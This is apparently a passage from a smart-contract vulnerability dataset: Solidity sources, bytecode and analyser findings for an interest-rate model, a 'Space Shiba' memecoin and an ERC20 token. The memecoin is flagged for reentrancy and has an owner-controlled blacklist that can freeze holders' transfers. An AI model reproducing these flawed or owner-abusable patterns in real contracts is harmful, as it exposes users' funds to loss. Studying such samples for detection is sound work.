multiplierPerBlock = multiplierPerYear.div(blocksPerYear);
emit NewInterestParams(baseRatePerBlock, multiplierPerBlock);
}
/**
* @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)`
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market (currently unused)
* @return The utilization rate as a mantissa between [0, 1e18]
*/
function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) {
// Utilization rate is 0 when there are no borrows
if (borrows == 0) {
return 0;
}
return borrows.mul(1e18).div(cash.add(borrows).sub(reserves));
}
/**
* @notice Calculates the current borrow rate per block, with the error code expected by the market
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @return The borrow rate percentage per block as a mantissa (scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
uint ur = utilizationRate(cash, borrows, reserves);
return ur.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
}
/**
* @notice Calculates the current supply rate per block
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @param reserveFactorMantissa The current reserve factor for the market
* @return The supply rate percentage per block as a mantissa (scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) {
uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa);
uint borrowRate = getBorrowRate(cash, borrows, reserves);
uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18);
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80638726bb891161005b5780638726bb8914610102578063a385fb961461010a578063b816881614610112578063f14039de146101415761007d565b806315f24053146100825780632191f92a146100bd5780636e71e2d8146100d9575b600080fd5b6100ab6004803603606081101561009857600080fd5b5080359060208101359060400135610149565b60408051918252519081900360200190f35b6100c56101a3565b604080519115158252519081900360200190f35b6100ab600480360360608110156100ef57600080fd5b50803590602081013590604001356101a8565b6100ab6101fa565b6100ab610200565b6100ab6004803603608081101561012857600080fd5b5080359060208101359060408101359060600135610207565b6100ab610286565b6000806101578585856101a8565b905061019860015461018c670de0b6b3a76400006101806000548661028c90919063ffffffff16565b9063ffffffff6102ee16565b9063ffffffff61033016565b9150505b9392505050565b600181565b6000826101b75750600061019c565b6101f26101da836101ce878763ffffffff61033016565b9063ffffffff61038a16565b61018085670de0b6b3a764000063ffffffff61028c16565b949350505050565b60005481565b6220148081565b600080610222670de0b6b3a76400008463ffffffff61038a16565b90506000610231878787610149565b90506000610251670de0b6b3a7640000610180848663ffffffff61028c16565b905061027a670de0b6b3a76400006101808361026e8c8c8c6101a8565b9063ffffffff61028c16565b98975050505050505050565b60015481565b60008261029b575060006102e8565b828202828482816102a857fe5b04146102e55760405162461bcd60e51b81526004018080602001828103825260218152602001806104c96021913960400191505060405180910390fd5b90505b92915050565b60006102e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506103cc565b6000828201838110156102e5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006102e583836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f770081525061046e565b600081836104585760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561041d578181015183820152602001610405565b50505050905090810190601f16801561044a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161046457fe5b0495945050505050565b600081848411156104c05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561041d578181015183820152602001610405565b50505090039056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a7231582053f28a667f9690f2b8d88b814634322b2e69ab58134e9753e715493e0a0d3c9164736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,223 |
0x236b4f9a98a0d4cea9895b00bbd8026e14984b4a
|
/**
*Submitted for verification at Etherscan.io on 2022-02-23
*/
/*
Telegram: https://t.me/spaceshibaerc
100% STEALTH LAUNCH
Initial LP: 4 ETH
Max Buy : 3% or 30,000,000,000
Total Supply : 1,000,000,000,000
Tax : 12%
2% Reflections
4% Big Callers are coming 👀
4% Buy Competitions
SLippage: 10% +
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract spaceshiba is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Space Shiba";
string private constant _symbol = "SPACE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xBC35B789DbCb346f6e02ad70e86DDb67B88C1049);
_buyTax = 10;
_sellTax = 10;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 30_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 30_000_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102a95780638da5cb5b146102be57806395d89b41146102e65780639e78fb4f14610314578063a9059cbb1461032957600080fd5b806323b872dd116100f257806323b872dd14610218578063273123b714610238578063313ce567146102585780636fc3eaec1461027457806370a082311461028957600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a257806318160ddd146101d25780631bbae6e0146101f857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461187d565b610419565b005b34801561016857600080fd5b5060408051808201909152600b81526a537061636520536869626160a81b60208201525b60405161019991906118fa565b60405180910390f35b3480156101ae57600080fd5b506101c26101bd36600461178b565b61046a565b6040519015158152602001610199565b3480156101de57600080fd5b50683635c9adc5dea000005b604051908152602001610199565b34801561020457600080fd5b5061015a6102133660046118b5565b610481565b34801561022457600080fd5b506101c261023336600461174b565b6104c5565b34801561024457600080fd5b5061015a6102533660046116db565b61052e565b34801561026457600080fd5b5060405160098152602001610199565b34801561028057600080fd5b5061015a610579565b34801561029557600080fd5b506101ea6102a43660046116db565b6105ad565b3480156102b557600080fd5b5061015a6105cf565b3480156102ca57600080fd5b506000546040516001600160a01b039091168152602001610199565b3480156102f257600080fd5b50604080518082019091526005815264535041434560d81b602082015261018c565b34801561032057600080fd5b5061015a610643565b34801561033557600080fd5b506101c261034436600461178b565b610882565b34801561035557600080fd5b5061015a6103643660046117b6565b61088f565b34801561037557600080fd5b5061015a610933565b34801561038a57600080fd5b5061015a610973565b34801561039f57600080fd5b5061015a6103ae3660046118b5565b610b3c565b3480156103bf57600080fd5b5061015a6103ce3660046118b5565b610b74565b3480156103df57600080fd5b506101ea6103ee366004611713565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044c5760405162461bcd60e51b81526004016104439061194d565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610477338484610bac565b5060015b92915050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b81526004016104439061194d565b6801a055690d9db800008111156104c25760108190555b50565b60006104d2848484610cd0565b610524843361051f85604051806060016040528060288152602001611acb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc7565b610bac565b5060019392505050565b6000546001600160a01b031633146105585760405162461bcd60e51b81526004016104439061194d565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a35760405162461bcd60e51b81526004016104439061194d565b476104c281611001565b6001600160a01b03811660009081526002602052604081205461047b9061103b565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016104439061194d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066d5760405162461bcd60e51b81526004016104439061194d565b600f54600160a01b900460ff16156106c75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072757600080fd5b505afa15801561073b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075f91906116f7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a757600080fd5b505afa1580156107bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107df91906116f7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082757600080fd5b505af115801561083b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085f91906116f7565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610477338484610cd0565b6000546001600160a01b031633146108b95760405162461bcd60e51b81526004016104439061194d565b60005b815181101561092f576001600660008484815181106108eb57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092781611a60565b9150506108bc565b5050565b6000546001600160a01b0316331461095d5760405162461bcd60e51b81526004016104439061194d565b6000610968306105ad565b90506104c2816110bf565b6000546001600160a01b0316331461099d5760405162461bcd60e51b81526004016104439061194d565b600e546109be9030906001600160a01b0316683635c9adc5dea00000610bac565b600e546001600160a01b031663f305d71947306109da816105ad565b6000806109ef6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5257600080fd5b505af1158015610a66573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8b91906118cd565b5050600f80546801a055690d9db8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0457600080fd5b505af1158015610b18573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c29190611899565b6000546001600160a01b03163314610b665760405162461bcd60e51b81526004016104439061194d565b600f8110156104c257600b55565b6000546001600160a01b03163314610b9e5760405162461bcd60e51b81526004016104439061194d565b600f8110156104c257600c55565b6001600160a01b038316610c0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610c6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610d965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610df85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6001600160a01b03831660009081526006602052604090205460ff1615610e1e57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e6057506001600160a01b03821660009081526005602052604090205460ff16155b15610fb7576000600955600c54600a55600f546001600160a01b038481169116148015610e9b5750600e546001600160a01b03838116911614155b8015610ec057506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed55750600f54600160b81b900460ff165b15610ee957601054811115610ee957600080fd5b600f546001600160a01b038381169116148015610f145750600e546001600160a01b03848116911614155b8015610f3957506001600160a01b03831660009081526005602052604090205460ff16155b15610f4a576000600955600b54600a555b6000610f55306105ad565b600f54909150600160a81b900460ff16158015610f805750600f546001600160a01b03858116911614155b8015610f955750600f54600160b01b900460ff165b15610fb557610fa3816110bf565b478015610fb357610fb347611001565b505b505b610fc2838383611264565b505050565b60008184841115610feb5760405162461bcd60e51b815260040161044391906118fa565b506000610ff88486611a49565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092f573d6000803e3d6000fd5b60006007548211156110a25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b60006110ac61126f565b90506110b88382611292565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116957600080fd5b505afa15801561117d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a191906116f7565b816001815181106111c257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e89130911684610bac565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611221908590600090869030904290600401611982565b600060405180830381600087803b15801561123b57600080fd5b505af115801561124f573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fc28383836112d4565b600080600061127c6113cb565b909250905061128b8282611292565b9250505090565b60006110b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140d565b6000806000806000806112e68761143b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113189087611498565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134790866114da565b6001600160a01b03891660009081526002602052604090205561136981611539565b6113738483611583565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b891815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113e78282611292565b82101561140457505060075492683635c9adc5dea0000092509050565b90939092509050565b6000818361142e5760405162461bcd60e51b815260040161044391906118fa565b506000610ff88486611a0a565b60008060008060008060008060006114588a600954600a546115a7565b925092509250600061146861126f565b9050600080600061147b8e8787876115fc565b919e509c509a509598509396509194505050505091939550919395565b60006110b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc7565b6000806114e783856119f2565b9050838110156110b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b600061154361126f565b90506000611551838361164c565b3060009081526002602052604090205490915061156e90826114da565b30600090815260026020526040902055505050565b6007546115909083611498565b6007556008546115a090826114da565b6008555050565b60008080806115c160646115bb898961164c565b90611292565b905060006115d460646115bb8a8961164c565b905060006115ec826115e68b86611498565b90611498565b9992985090965090945050505050565b600080808061160b888661164c565b90506000611619888761164c565b90506000611627888861164c565b90506000611639826115e68686611498565b939b939a50919850919650505050505050565b60008261165b5750600061047b565b60006116678385611a2a565b9050826116748583611a0a565b146110b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80356116d681611aa7565b919050565b6000602082840312156116ec578081fd5b81356110b881611aa7565b600060208284031215611708578081fd5b81516110b881611aa7565b60008060408385031215611725578081fd5b823561173081611aa7565b9150602083013561174081611aa7565b809150509250929050565b60008060006060848603121561175f578081fd5b833561176a81611aa7565b9250602084013561177a81611aa7565b929592945050506040919091013590565b6000806040838503121561179d578182fd5b82356117a881611aa7565b946020939093013593505050565b600060208083850312156117c8578182fd5b823567ffffffffffffffff808211156117df578384fd5b818501915085601f8301126117f2578384fd5b81358181111561180457611804611a91565b8060051b604051601f19603f8301168101818110858211171561182957611829611a91565b604052828152858101935084860182860187018a1015611847578788fd5b8795505b838610156118705761185c816116cb565b85526001959095019493860193860161184b565b5098975050505050505050565b60006020828403121561188e578081fd5b81356110b881611abc565b6000602082840312156118aa578081fd5b81516110b881611abc565b6000602082840312156118c6578081fd5b5035919050565b6000806000606084860312156118e1578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119265785810183015185820160400152820161190a565b818111156119375783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119d15784516001600160a01b0316835293830193918301916001016119ac565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0557611a05611a7b565b500190565b600082611a2557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a4457611a44611a7b565b500290565b600082821015611a5b57611a5b611a7b565b500390565b6000600019821415611a7457611a74611a7b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c257600080fd5b80151581146104c257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dcefe3f8783cc6fed2e01b21cf77c5345c7842b63bcd6d186bf6df8fead875dd64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,224 |
0x9e85c5b1a66c0bb6ce2ffb41ce0f918b19bf3c8d
|
pragma solidity ^0.4.24;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 is SafeMath {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(SafeMath.safeAdd(balanceOf[_to], _value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = SafeMath.safeAdd(balanceOf[_from], balanceOf[_to]);
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(SafeMath.safeAdd(balanceOf[_from], balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
